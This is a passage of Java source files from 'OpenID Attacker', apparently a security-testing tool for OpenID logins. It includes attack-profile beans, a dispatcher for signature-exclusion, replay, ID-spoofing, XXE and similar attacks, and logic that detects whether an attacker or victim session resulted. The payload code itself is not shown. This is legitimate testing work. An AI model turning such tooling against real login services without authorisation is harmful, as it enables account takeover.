3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.attack.parameter.utilities;
20 |
21 | import javax.xml.bind.annotation.XmlRootElement;
22 | import wsattacker.sso.openid.attacker.composition.AbstractBean;
23 |
24 | @XmlRootElement(name = "SearchReplace")
25 | public class SearchReplaceHolder extends AbstractBean {
26 |
27 | public static final String PROP_SEARCH = "search";
28 | public static final String PROP_REPLACE = "replace";
29 | public static final String PROP_URLENCODE = "urlEncode";
30 | private String search = "";
31 | private String replace = "";
32 | private boolean urlEncode = true;
33 |
34 | public SearchReplaceHolder() {
35 | }
36 |
37 | public SearchReplaceHolder(String search, String replace, boolean urlEncode) {
38 | this();
39 | this.search = search;
40 | this.replace = replace;
41 | this.urlEncode = urlEncode;
42 | }
43 |
44 | /**
45 | * Get the value of urlEncode
46 | *
47 | * @return the value of urlEncode
48 | */
49 | public boolean isUrlEncode() {
50 | return urlEncode;
51 | }
52 |
53 | /**
54 | * Set the value of urlEncode
55 | *
56 | * @param urlEncode new value of urlEncode
57 | */
58 | public void setUrlEncode(boolean urlEncode) {
59 | boolean oldUrlEncode = this.urlEncode;
60 | this.urlEncode = urlEncode;
61 | firePropertyChange(PROP_URLENCODE, oldUrlEncode, urlEncode);
62 | }
63 |
64 | /**
65 | * Get the value of replace
66 | *
67 | * @return the value of replace
68 | */
69 | public String getReplace() {
70 | return replace;
71 | }
72 |
73 | /**
74 | * Set the value of replace
75 | *
76 | * @param replace new value of replace
77 | */
78 | public void setReplace(String replace) {
79 | String oldReplace = this.replace;
80 | this.replace = replace;
81 | firePropertyChange(PROP_REPLACE, oldReplace, replace);
82 | }
83 |
84 | /**
85 | * Get the value of search
86 | *
87 | * @return the value of search
88 | */
89 | public String getSearch() {
90 | return search;
91 | }
92 |
93 | /**
94 | * Set the value of search
95 | *
96 | * @param search new value of search
97 | */
98 | public void setSearch(String search) {
99 | String oldSearch = this.search;
100 | this.search = search;
101 | firePropertyChange(PROP_SEARCH, oldSearch, search);
102 | }
103 | }
104 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/strategies/LengthDeviationAndCountingMatchesStrategy.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.strategies;
20 |
21 | import org.apache.commons.lang3.StringUtils;
22 | import uk.ac.shef.wit.simmetrics.similaritymetrics.AbstractStringMetric;
23 | import uk.ac.shef.wit.simmetrics.similaritymetrics.ChapmanLengthDeviation;
24 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
25 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
26 |
27 | public class LengthDeviationAndCountingMatchesStrategy implements DetermineUserStrategy {
28 |
29 | @Override
30 | public ServiceProvider.User determineAuthenticatedUser(String pageSource, String url, ServiceProvider serviceProvider) {
31 |
32 | float success = 0.0f;
33 | float failure = 0.0f;
34 |
35 | AbstractStringMetric metric = new ChapmanLengthDeviation();
36 |
37 | for (String attackerSuccessPageSource: serviceProvider.getAttackerSuccessPageSources()) {
38 | float currentSuccess = metric.getSimilarity(pageSource, attackerSuccessPageSource);
39 | //System.out.println("success: " + currentSuccess);
40 |
41 | success += currentSuccess;
42 | }
43 |
44 | for (String failurePageSource: serviceProvider.getFailurePageSources()) {
45 | float currentFailure = metric.getSimilarity(pageSource, failurePageSource);
46 | //System.out.println("failure: " + currentFailure);
47 |
48 | failure += currentFailure;
49 | }
50 |
51 | if (success > failure) {
52 | String victimUsername = serviceProvider.getVictimUsername();
53 | String attackerUsername = serviceProvider.getAttackerUsername();
54 |
55 | int victimMatches = StringUtils.countMatches(pageSource, StringUtils.capitalize(victimUsername));
56 | victimMatches += StringUtils.countMatches(pageSource, victimUsername.toLowerCase());
57 | int attackerMatches = StringUtils.countMatches(pageSource, StringUtils.capitalize(attackerUsername));
58 | attackerMatches += StringUtils.countMatches(pageSource, attackerUsername.toLowerCase());
59 |
60 | //System.out.println("victimMatches: " + victimMatches + ", attackerMatches: " + attackerMatches);
61 |
62 | if (victimMatches > attackerMatches) {
63 | return ServiceProvider.User.VICTIM;
64 | } else if (attackerMatches > victimMatches) {
65 | return ServiceProvider.User.ATTACKER;
66 | } else {
67 | return ServiceProvider.User.NONE;
68 | }
69 | } else {
70 | return User.ERROR;
71 | }
72 | }
73 |
74 | }
75 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/user/UserDataCollector.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.user;
20 |
21 | import java.util.ArrayList;
22 | import javax.xml.bind.annotation.XmlElement;
23 | import javax.xml.bind.annotation.XmlRootElement;
24 | import org.jdesktop.observablecollections.ObservableCollections;
25 | import org.jdesktop.observablecollections.ObservableList;
26 | import wsattacker.sso.openid.attacker.composition.AbstractBean;
27 |
28 | @XmlRootElement(name = "DataCollector")
29 | public class UserDataCollector extends AbstractBean {
30 |
31 | private ObservableList dataList = ObservableCollections.observableList(new ArrayList());
32 | public static final String PROP_DATALIST = "dataList";
33 |
34 | /**
35 | * Get the value of dataList
36 | *
37 | * @return the value of dataList
38 | */
39 | @XmlElement(name = "Data")
40 | public ObservableList getDataList() {
41 | return dataList;
42 | }
43 |
44 | /**
45 | * Set the value of dataList
46 | *
47 | * @param dataList new value of dataList
48 | */
49 | public void setDataList(ObservableList dataList) {
50 | ObservableList oldDataList = this.dataList;
51 | this.dataList = dataList;
52 | firePropertyChange(PROP_DATALIST, oldDataList, dataList);
53 | }
54 |
55 | public UserData getByName(String name) {
56 | for (UserData data : dataList) {
57 | if (name.equals(data.getName())) {
58 | return data;
59 | }
60 | }
61 | throw new IllegalArgumentException(String.format("No such element '%s'", name));
62 | }
63 |
64 | public boolean has(String name) {
65 | boolean result = false;
66 | for (UserData data : dataList) {
67 | if (name.equals(data.getName())) {
68 | result = true;
69 | }
70 | }
71 | return result;
72 | }
73 |
74 | public UserData addOne() {
75 | UserData newData = new UserData();
76 | dataList.add(newData);
77 | return newData;
78 | }
79 |
80 | public UserData addOne(String name, String value) {
81 | UserData newData = addOne();
82 | newData.setName(name);
83 | newData.setValue(value);
84 | return newData;
85 | }
86 |
87 | public UserData removeByName(String name) {
88 | UserData removed = getByName(name);
89 | dataList.remove(removed);
90 | return removed;
91 | }
92 |
93 | public UserData removeById(int id) {
94 | return dataList.remove(id);
95 | }
96 |
97 | public void set(String name, String value) {
98 | try {
99 | UserData contained = getByName(name);
100 | contained.setValue(value);
101 | } catch (IllegalArgumentException e) {
102 | addOne(name, value);
103 | }
104 | }
105 | }
106 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/AttackWorker.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.attack;
20 |
21 | import java.util.List;
22 | import javax.swing.SwingWorker;
23 | import org.apache.commons.lang3.time.StopWatch;
24 | import wsattacker.sso.openid.attacker.evaluation.EvaluationResult;
25 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
26 |
27 | public class AttackWorker extends SwingWorker {
28 |
29 | private AbstractAttack attack;
30 | //private final HtmlOutput htmlOutput;
31 | private final String attackName;
32 |
33 | private List attackResults;
34 | private final EvaluationResult evaluationResult;
35 |
36 | public AttackWorker(final String attackName, final ServiceProvider serviceProvider,
37 | EvaluationResult evaluationResult) {
38 | this.attackName = attackName;
39 | this.evaluationResult = evaluationResult;
40 |
41 | switch (attackName) {
42 | case "Signature Exclusion":
43 | attack = new SignatureExclusionAttack(serviceProvider);
44 | break;
45 | case "Replay":
46 | attack = new ReplayAttack(serviceProvider);
47 | break;
48 | case "Token Recipient Confusion":
49 | attack = new TokenRecipientConfusionAttack(serviceProvider);
50 | break;
51 | case "ID Spoofing":
52 | attack = new IdSpoofingAttack(serviceProvider);
53 | break;
54 | case "Key Confusion":
55 | attack = new KeyConfusionAttack(serviceProvider);
56 | break;
57 | case "Discovery Spoofing":
58 | attack = new DiscoverySpoofingAttack(serviceProvider);
59 | break;
60 | case "Parameter Forgery":
61 | attack = new ParameterForgeryAttack(serviceProvider);
62 | break;
63 | case "XXE/DTD":
64 | attack = new DtdAttack(serviceProvider);
65 | break;
66 | case "Malicious Metadata":
67 | attack = new MaliciousMetadataAttack(serviceProvider);
68 | break;
69 | case "Same IdP Delegation":
70 | attack = new SameIdpDelegationAttack(serviceProvider);
71 | break;
72 | }
73 | }
74 |
75 |
76 |
77 | @Override
78 | protected Void doInBackground() throws Exception {
79 |
80 | System.out.println("##### Start " + attackName + " Attack #####");
81 |
82 | StopWatch stopWatch = new StopWatch();
83 | stopWatch.start();
84 |
85 | this.attackResults = attack.performAttacks();
86 |
87 | stopWatch.stop();
88 | evaluationResult.addInvestigationTime(stopWatch.getTime()/1000);
89 |
90 | return null;
91 | }
92 |
93 | @Override
94 | protected void done() {
95 | evaluationResult.addAttackResults(attackName, attackResults);
96 | }
97 | }
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/attack/parameter/SearchReplaceAttackParameter.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.attack.parameter;
20 |
21 | import java.io.UnsupportedEncodingException;
22 | import java.net.URLEncoder;
23 | import java.util.ArrayList;
24 | import java.util.List;
25 | import java.util.logging.Level;
26 | import java.util.logging.Logger;
27 | import org.jdesktop.observablecollections.ObservableCollections;
28 | import org.jdesktop.observablecollections.ObservableList;
29 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.SearchReplaceHolder;
30 |
31 | public class SearchReplaceAttackParameter extends AttackParameter {
32 |
33 | private List searchReplaceList;
34 | public static final String PROP_SEARCHREPLACELIST = "searchReplaceList";
35 |
36 | /**
37 | * Get the value of searchReplaceList
38 | *
39 | * @return the value of searchReplaceList
40 | */
41 | public List getSearchReplaceList() {
42 | return searchReplaceList;
43 | }
44 |
45 | /**
46 | * Set the value of searchReplaceList
47 | *
48 | * @param searchReplaceList new value of searchReplaceList
49 | */
50 | public void setSearchReplaceList(List searchReplaceList) {
51 | List oldSearchReplaceList = this.searchReplaceList;
52 | this.searchReplaceList = searchReplaceList;
53 | firePropertyChange(PROP_SEARCHREPLACELIST, oldSearchReplaceList, searchReplaceList);
54 | }
55 |
56 | public SearchReplaceAttackParameter() {
57 | super();
58 | List listToObserve = new ArrayList<>();
59 | ObservableList observableList = ObservableCollections.observableList(listToObserve);
60 | this.searchReplaceList = observableList;
61 | }
62 |
63 | @Override
64 | public String getAttackValue() {
65 | String result;
66 | if (!searchReplaceList.isEmpty()) {
67 | result = applySearchReplaceList();
68 | } else {
69 | result = super.getAttackValue();
70 | }
71 | return result;
72 | }
73 |
74 | private String applySearchReplaceList() {
75 | String result = super.getValidValue();
76 | for (SearchReplaceHolder srh : searchReplaceList) {
77 | String search = maybeUrlEncode(srh, srh.getSearch());
78 | String replace = maybeUrlEncode(srh, srh.getReplace());
79 | result = result.replace(search, replace);
80 | }
81 | return result;
82 | }
83 |
84 | private String maybeUrlEncode(SearchReplaceHolder srh, String toEncode) throws IllegalStateException {
85 | if (srh.isUrlEncode()) {
86 | try {
87 | toEncode = URLEncoder.encode(toEncode, "utf-8");
88 | } catch (UnsupportedEncodingException ex) {
89 | Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, ex);
90 | throw new IllegalStateException("This should never happen", ex);
91 | }
92 | }
93 | return toEncode;
94 | }
95 | }
96 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/attack/profile/AttackProfileContainer.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.attack.profile;
20 |
21 | import java.io.Serializable;
22 | import java.lang.reflect.InvocationTargetException;
23 | import java.util.ArrayList;
24 | import java.util.List;
25 | import javax.xml.bind.annotation.XmlAccessType;
26 | import javax.xml.bind.annotation.XmlAccessorType;
27 | import javax.xml.bind.annotation.XmlElement;
28 | import javax.xml.bind.annotation.XmlRootElement;
29 | import org.apache.commons.beanutils.BeanUtils;
30 | import org.jdesktop.observablecollections.ObservableCollections;
31 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
32 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper;
33 |
34 | @XmlRootElement(name = "AttackProfileConfigurations")
35 | @XmlAccessorType(XmlAccessType.NONE)
36 | public class AttackProfileContainer implements Serializable {
37 |
38 | public List profileList = ObservableCollections.observableList(new ArrayList());
39 |
40 | public AttackProfileContainer() {
41 | }
42 |
43 | @XmlElement(name = "AttackProfile")
44 | public List getProfileList() {
45 | return profileList;
46 | }
47 |
48 | public void saveProfile(final String name, final String description, final AttackParameterKeeper configuration) {
49 | AttackProfile newProfile = new AttackProfile();
50 | newProfile.setName(name);
51 | newProfile.setDescription(description);
52 | newProfile.updateConfiguration(configuration);
53 | profileList.add(newProfile);
54 | }
55 |
56 | public void updateProfile(final int index, final String name, final String description) {
57 | AttackProfile toUpdate = profileList.get(index);
58 | toUpdate.setName(name);
59 | toUpdate.setDescription(description);
60 | }
61 |
62 | public void updateProfile(final int index, final String name, final String description, final AttackParameterKeeper configuration) {
63 | updateProfile(index, name, description);
64 | AttackProfile toUpdate = profileList.get(index);
65 | toUpdate.updateConfiguration(configuration);
66 | }
67 |
68 | public void deleteProfile(final int index) {
69 | profileList.remove(index);
70 | }
71 |
72 | public void loadProfile(AttackParameterKeeper toUpdate, final int index) {
73 | AttackProfile profile = profileList.get(index);
74 | AttackParameterKeeper configuration = profile.getConfiguration();
75 | for (AttackParameter readParameter : configuration) {
76 | AttackParameter originalParameter = toUpdate.getParameter(readParameter.getName());
77 | if (originalParameter != null) {
78 | try {
79 | BeanUtils.copyProperties(originalParameter, readParameter);
80 | } catch (IllegalAccessException | InvocationTargetException ex) {
81 | throw new IllegalStateException("Could not load configuration", ex);
82 | }
83 | } else {
84 | toUpdate.addParameter(readParameter);
85 | }
86 | }
87 | }
88 | }
89 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/attack/profile/AttackProfile.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.attack.profile;
20 |
21 | import java.lang.reflect.InvocationTargetException;
22 | import javax.xml.bind.annotation.XmlElement;
23 | import javax.xml.bind.annotation.XmlRootElement;
24 | import org.apache.commons.beanutils.BeanUtils;
25 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper;
26 | import wsattacker.sso.openid.attacker.composition.AbstractBean;
27 |
28 | @XmlRootElement(name = "Profile")
29 | public class AttackProfile extends AbstractBean {
30 |
31 | private String name = "Profile Name";
32 | public static final String PROP_NAME = "name";
33 | private String description = "Profile Description";
34 | public static final String PROP_DESCRIPTION = "description";
35 | private AttackParameterKeeper configuration = new AttackParameterKeeper();
36 | public static final String PROP_CONFIGURATION = "configuration";
37 |
38 | /**
39 | * Get the value of configuration
40 | *
41 | * @return the value of configuration
42 | */
43 | @XmlElement(name = "Configuration")
44 | public AttackParameterKeeper getConfiguration() {
45 | return configuration;
46 | }
47 |
48 | /**
49 | * Set the value of configuration
50 | *
51 | * @param configuration new value of configuration
52 | */
53 | private void setConfiguration(AttackParameterKeeper configuration) {
54 | AttackParameterKeeper oldConfiguration = this.configuration;
55 | this.configuration = configuration;
56 | firePropertyChange(PROP_CONFIGURATION, oldConfiguration, configuration);
57 | }
58 |
59 | /**
60 | * Get the value of description
61 | *
62 | * @return the value of description
63 | */
64 | public String getDescription() {
65 | return description;
66 | }
67 |
68 | /**
69 | * Set the value of description
70 | *
71 | * @param description new value of description
72 | */
73 | public void setDescription(String description) {
74 | String oldDescription = this.description;
75 | this.description = description;
76 | firePropertyChange(PROP_DESCRIPTION, oldDescription, description);
77 | }
78 |
79 | /**
80 | * Get the value of name
81 | *
82 | * @return the value of name
83 | */
84 | public String getName() {
85 | return name;
86 | }
87 |
88 | /**
89 | * Set the value of name
90 | *
91 | * @param name new value of name
92 | */
93 | public void setName(String name) {
94 | String oldName = this.name;
95 | this.name = name;
96 | firePropertyChange(PROP_NAME, oldName, name);
97 | }
98 |
99 | public void updateConfiguration(AttackParameterKeeper configuration) {
100 | AttackParameterKeeper newConfiguration = new AttackParameterKeeper();
101 | try {
102 | BeanUtils.copyProperties(newConfiguration, configuration);
103 | } catch (IllegalAccessException | InvocationTargetException ex) {
104 | throw new IllegalStateException("Could not update configuration", ex);
105 | }
106 | setConfiguration(newConfiguration);
107 | }
108 | }
109 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/training/Training.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.training;
20 |
21 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
22 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper;
23 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod;
24 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration;
25 | import wsattacker.sso.openid.attacker.controller.ServerController;
26 | import wsattacker.sso.openid.attacker.evaluation.LoginResult;
27 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
28 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
29 |
30 | public class Training {
31 | private final ServerController controller = new ServerController();
32 | private final AttackParameterKeeper keeper = controller.getServer().getParameterConfiguration();
33 |
34 | public enum ErrorType {
35 | ERROR_1,
36 | ERROR_2,
37 | ERROR_3
38 | }
39 |
40 | private final ServiceProvider serviceProvider;
41 |
42 | public Training(ServiceProvider serviceProvider) {
43 | this.serviceProvider = serviceProvider;
44 | }
45 |
46 | public TrainingResult performSuccessfulLogin(User user) {
47 | keeper.resetAllParameters();
48 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(false);
49 |
50 | LoginResult loginResult = null;
51 |
52 | switch (user) {
53 | case ATTACKER:
54 | loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER);
55 | break;
56 | case VICTIM:
57 | loginResult = serviceProvider.login(ServiceProvider.User.VICTIM);
58 | break;
59 | }
60 |
61 | return new TrainingResult(user, loginResult);
62 | }
63 |
64 | public TrainingResult performUnsuccessfulLogin(ErrorType error) {
65 | keeper.resetAllParameters();
66 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);
67 |
68 | AttackParameter claimedIDParameter = keeper.getParameter("openid.claimed_id");
69 | AttackParameter identityParameter = keeper.getParameter("openid.identity");
70 | AttackParameter returnToParameter = keeper.getParameter("openid.return_to");
71 | AttackParameter sigParameter = keeper.getParameter("openid.sig");
72 |
73 | switch (error) {
74 | case ERROR_1:
75 | // 1. remove claimed_id and identity
76 | claimedIDParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
77 | identityParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
78 | break;
79 | case ERROR_2:
80 | // 2. remove return_to
81 | returnToParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
82 | break;
83 | case ERROR_3:
84 | // 3. remove sig and claimed_id
85 | claimedIDParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
86 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
87 | break;
88 | }
89 |
90 | LoginResult loginResult = serviceProvider.login(User.ATTACKER);
91 |
92 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(false);
93 |
94 | return new TrainingResult(User.ERROR, loginResult);
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/attack/parameter/utilities/AttackValue.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.attack.parameter.utilities;
20 |
21 | import java.io.Serializable;
22 | import java.util.Objects;
23 |
24 | public class AttackValue implements Serializable {
25 |
26 | private boolean enableUserValue = false;
27 | private String userValue = null;
28 | private String automaticValue = "attackAutomaticValue";
29 |
30 | /**
31 | * Get the value of enableUserValue
32 | *
33 | * @return the value of enableUserValue
34 | */
35 | public boolean isEnableUserValue() {
36 | return enableUserValue;
37 | }
38 |
39 | /**
40 | * Set the value of attackEnabled
41 | *
42 | * @param enableUserValue new value of enableUserValue
43 | */
44 | public void setEnableUserValue(boolean enableUserValue) {
45 | this.enableUserValue = enableUserValue;
46 | }
47 |
48 | /**
49 | * Get the value of userValue
50 | *
51 | * @return the value of userValue
52 | */
53 | public String getUserValue() {
54 | // if user value is not yet set, copy it from automatic value
55 | if (this.userValue == null) {
56 | this.userValue = automaticValue;
57 | }
58 | return userValue;
59 | }
60 |
61 | /**
62 | * Set the value of userValue
63 | *
64 | * @param userValue new value of userValue
65 | */
66 | public void setUserValue(String userValue) {
67 | this.userValue = userValue;
68 | }
69 |
70 | /**
71 | * Get the value of automaticValue
72 | *
73 | * @return the value of automaticValue
74 | */
75 | public String getAutomaticValue() {
76 | return automaticValue;
77 | }
78 |
79 | /**
80 | * Set the value of automaticValue
81 | *
82 | * @param automaticValue new value of automaticValue
83 | */
84 | public void setAutomaticValue(String automaticValue) {
85 | this.automaticValue = automaticValue;
86 | }
87 |
88 | @Override
89 | public String toString() {
90 | return "AttackValue{" + "attackEnabled=" + enableUserValue + ", userValue=" + userValue + ", automaticValue=" + automaticValue + '}';
91 | }
92 |
93 | public String getCurrentValue() {
94 | String result;
95 | if (isEnableUserValue()) {
96 | result = getUserValue();
97 | } else {
98 | result = getAutomaticValue();
99 | }
100 | return result;
101 | }
102 |
103 | public void setCurrentValue(String value) {
104 | if (isEnableUserValue()) {
105 | setUserValue(value);
106 | } else {
107 | setAutomaticValue(value);
108 | }
109 | }
110 |
111 | @Override
112 | public int hashCode() {
113 | int hash = 7;
114 | hash = 31 * hash + (this.enableUserValue ? 1 : 0);
115 | hash = 31 * hash + Objects.hashCode(this.userValue);
116 | hash = 31 * hash + Objects.hashCode(this.automaticValue);
117 | return hash;
118 | }
119 |
120 | @Override
121 | public boolean equals(Object obj) {
122 | if (obj == null) {
123 | return false;
124 | }
125 | if (getClass() != obj.getClass()) {
126 | return false;
127 | }
128 | final AttackValue other = (AttackValue) obj;
129 | if (this.enableUserValue != other.enableUserValue) {
130 | return false;
131 | }
132 | if (!Objects.equals(this.userValue, other.userValue)) {
133 | return false;
134 | }
135 | if (!Objects.equals(this.automaticValue, other.automaticValue)) {
136 | return false;
137 | }
138 | return true;
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/discovery/xrds/XrdsGenerator.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.discovery.xrds;
20 |
21 | import javax.xml.XMLConstants;
22 | import org.w3c.dom.Document;
23 | import org.w3c.dom.Element;
24 | import wsattacker.sso.openid.attacker.discovery.utilities.DomUtilities;
25 |
26 | final public class XrdsGenerator {
27 |
28 | private static final String XMLNS = "xri://$xrd*($v*2.0)";
29 | private static final String XMLNS_XRDS = "xri://$xrds";
30 | private static final String XMLNS_OPENID = "http://openid.net/xmlns/1.0";
31 |
32 | private XrdsGenerator() {
33 | }
34 |
